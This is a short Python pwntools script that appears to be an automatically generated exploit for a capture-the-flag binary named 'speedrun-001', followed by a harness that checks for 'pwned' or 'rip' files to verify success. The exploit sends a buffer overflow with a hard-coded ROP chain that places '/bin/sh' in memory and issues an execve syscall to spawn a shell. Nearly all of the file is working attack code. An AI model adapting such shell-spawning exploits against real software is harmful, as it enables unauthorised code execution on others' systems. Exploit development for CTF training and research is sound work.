from pwn import *

import os
import sf
import sys
import signal

target = process("./chall-test_speedrun-001")
gdb.attach(target, execute="verify_exploit_static")

bof_payload = sf.BufferOverflow(arch=64)

bof_payload.set_input_start(0x408)
rop_chain = [4281956, 7036928, 4495541, b'/bin/sh\x00', 4772433, 4281956, 59, 4195974, 7036928, 4260339, 0, 4495541, 0, 4199068]
bof_payload.add_rop_chain(rop_chain)
payload = bof_payload.generate_payload()
target.sendline(payload)

# Exploit Verification starts here 15935728

def handler(signum, frame):
	raise Exception("Timed out")

def check_verification_done():
	while True:
		if os.path.exists("pwned") or os.path.exists("rip"):
			sys.exit(0)

signal.signal(signal.SIGALRM, handler)
signal.alarm(2)

try:
	while True:
		check_verification_done()
except Exception:
	print("Exploit timed out")
